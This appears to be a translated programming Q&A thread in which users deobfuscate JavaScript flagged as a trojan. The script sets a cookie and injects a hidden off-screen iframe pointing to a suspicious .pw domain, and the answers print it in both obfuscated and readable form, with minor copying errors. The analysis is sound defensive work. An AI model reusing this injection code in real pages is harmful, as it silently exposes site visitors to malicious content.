任何人都可以使这个code更具可读性和可理解性吗?它被我的反病毒检测为特洛伊木马。而我正试图理解它:)
我从question
获得了它( function() {
})();
修改
哇,我很惊讶有人抱怨我没有在这里添加代码,我故意将它添加到JSfiddle并且没有包含在这里,因为它会触发反病毒并阻止你访问这个页面。我甚至不得不禁用我的AntiVirus来创建JSFiddle答案 0 :(得分:3)
将它放在javascript minifier中,然后美化器使它不那么臃肿,更具可读性
var a = ["onload", "getDate", "setDate", "cookie", "=", "; expires=", "toUTCString", "", "=([^;]){1,}", "exec", "split", "ad-cookie", "er2vdr5gdc3ds", "div", "createElement", "http://stats.balw5ezvicz7hka.pw/?id=6947627&keyword=", "&ad_id=Xn5be4", "innerHTML", "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='", "'></iframe></div>", "appendChild", "body"];
window[a[1]] = function() {
function f(b, c, d) {
if (d) {
var e = new Date;
e[a[2]](e[a[1]]() + d)
}
if (b && c) document[a[3]] =
b + a[4] + c + (d ? a[5] + e[a[6]]() : a[7]);
else return !1
}
if (function(b) {
if (b = (new RegExp(b + a[8]))[a[9]](document[a[3]])) b = b[0][a[10]](a[4]);
else return !1;
return b[1] ? b[1] : !1
}(a[11]) != a[12]) {
f(a[11], a[12], 1);
var c = document[a[14]](a[13]);
c[a[17]] = a[18] + (a[15] + 983755 + a[16]) + a[19];
document[a[21]][a[20]](c)
}
}
当它解压缩后,它变为:
window.onload = function() {
function inject(b, c, d) {
if (d) {
var date = new Date;
date.setDate(date.getDate() + d)
}
if (b && c) {
document.cookie = b + "=" + c + (d ? "; expires=" + date.toUTCString() : "");
}
else {
return false
}
}
if (function(var1) {
if (var1 = (new RegExp(var1 + "=([^;]){1,}")).exec(document.cookie))
var1 = var1[0].split("=");
else
return false;
return var1[1] ? var1[1] : false
}("ad-cookie") != "er2vdr5gdc3ds") {
inject("ad-cookie", "er2vdr5gdc3ds", 1);
var wrapper = document.createElement("div")
wrapper.innerHTML = "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='" + ("http://stats.balw5ezvicz7hka.pw/?id=6947627&keyword=" + 983755 + "&ad_id=Xn5be4") + '></iframe></div>';
document.body.appendChild(wrapper)
}
}
这是一个如何模糊代码
的示例
var code = "a".charCodeAt(0); // 97
var hexCode = code.toString(16); // 61
var escaped = "this is letter a: \x61"
document.body.innerHTML = escaped // "this is letter a: a"
答案 1 :(得分:1)
到目前为止,我已成功获得:
var _0xacbd = ["onload", "getDate", "setDate", "cookie", "=", "; expires=", "toUTCString", "", "=([^;]){1,}", "exec", "split", "ad-cookie", "er2vdr5gdc3ds", "div", "createElement", "http://stats.balw5ezvicz7hka.pw/?id=6947627&keyword=", "&ad_id=Xn5be4", "innerHTML", "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='", "'></iframe></div>", "appendChild", "body"];
window[_0xacbd[0]] = function() {
function _0x78a6x1(_0x78a6x2, _0x78a6x3, _0x78a6x4) {
if (_0x78a6x4) {
var _0x78a6x5 = new Date();
_0x78a6x5[_0xacbd[2]](_0x78a6x5[_0xacbd[1]]() + _0x78a6x4);
};
if (_0x78a6x2 && _0x78a6x3) {
document[_0xacbd[3]] = _0x78a6x2 + _0xacbd[4] + _0x78a6x3 + (_0x78a6x4 ? _0xacbd[5] + _0x78a6x5[_0xacbd[6]]() : _0xacbd[7])
} else {
return false
};
}
function _0x78a6x6(_0x78a6x2) {
var _0x78a6x3 = new RegExp(_0x78a6x2 + _0xacbd[8]);
var _0x78a6x4 = _0x78a6x3[_0xacbd[9]](document[_0xacbd[3]]);
if (_0x78a6x4) {
_0x78a6x4 = _0x78a6x4[0][_0xacbd[10]](_0xacbd[4])
} else {
return false
};
return _0x78a6x4[1] ? _0x78a6x4[1] : false;
}
var _0x78a6x7 = _0x78a6x6(_0xacbd[11]);
if (_0x78a6x7 != _0xacbd[12]) {
_0x78a6x1(_0xacbd[11], _0xacbd[12], 1);
var _0x78a6x8 = document[_0xacbd[14]](_0xacbd[13]);
var _0x78a6x9 = 983755;
var _0x78a6xa = _0xacbd[15] + _0x78a6x9 + _0xacbd[16];
_0x78a6x8[_0xacbd[17]] = _0xacbd[18] + _0x78a6xa + _0xacbd[19];
document[_0xacbd[21]][_0xacbd[20]](_0x78a6x8);
};
};
据我所知,它打开了一个iFrame渲染屏幕,指向恶意网站。也许有一些具有更好的去混淆技能的人可以从中获得更多。
初始var _0xacbd是一个包含字符串的数组。在整个代码中,有_0xacbd[4]
或_0xacbd[19]
等引用。这对应于数组中的值。我目前没有时间匹配它们但是如果数组中的onload
字符串是[0],而下一个字符串是[1],依此类推,那么你可以找出正在发生的事情。你有时间。